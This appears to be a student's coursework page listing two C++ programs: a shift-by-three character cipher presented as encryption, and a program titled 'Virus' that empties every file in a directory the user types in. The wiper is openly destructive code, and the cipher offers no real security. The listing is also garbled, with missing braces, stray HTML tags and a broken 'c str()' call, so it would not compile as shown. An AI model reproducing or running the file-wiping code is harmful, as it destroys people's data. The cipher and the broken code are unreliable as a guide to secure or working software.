• Encryption And Decryption Method

```
#include<iostream>
using namespace std;
string encrypt(string plaintext) // encypts plain text and returns cypher
      string dummy = plaintext; // temporary variable
      int i;
      for(i=0;i<plaintext.length();i++)</pre>
      {
            char c;
            c = plaintext[i];
            c = c+3; // increasing character ascii value by 3
            dummy[i]=c; //storing changed character in dummy string
      return dummy;
}
string decrypt(string cyphertext) // decrypts cypher text and returns plain text
      string dummy = cyphertext;
      for(int i=0;i<cyphertext.length();i++)</pre>
      {
            char c;
            c = cyphertext[i];
            c = c-3; //subtracting character ascii value by 3 to get plain text
            dummy[i]=c;
      }
      return dummy;
}
int main()
      string input;
      cout<<"Enter Plain Text"<<endl;</pre>
      cin>>input; //getting input
      cout<<endl;
```

```
string cypher = encrypt(input); // encrypting input
cout<<cypher<<endl;
cout<<decrypt(cypher)<<endl; // decrypting cypher text
}</pre>
```

Virus (Erases all files in directory)

```
#include<iostream>
#include<fstream>
#include <dirent.h>
#include <sys/types.h>
using namespace std;
void flush(string name) // To Null Out The Files
      ofstream file(name);
      file.close();
}
int main()
      //Enter Path * C://Users//Mihir//Documents//Semester5//CIS//TEST
      cout<<"Enter Path"<<endl;
      string input;
      cin>>input; //Taking Input
      const char * path = input.c str(); // Converting String To Character Pointer
      struct dirent *start; // Structure of dirent
      DIR *dir = opendir(path); // Directory Object For Particular Directory
      if(dir==NULL) // Checking if directory is null
      {
            return 0; // End of program
      int iterator = 0; // To Check Dots of directory
      while((start = readdir(dir)) != NULL) // Reading Dirent Until Its Not Null
            if(iterator > 1)
                  flush(input+"//"+start->d_name); // Flushing File
```

```
iterator++;
}
closedir(dir); // Close Directory
}
```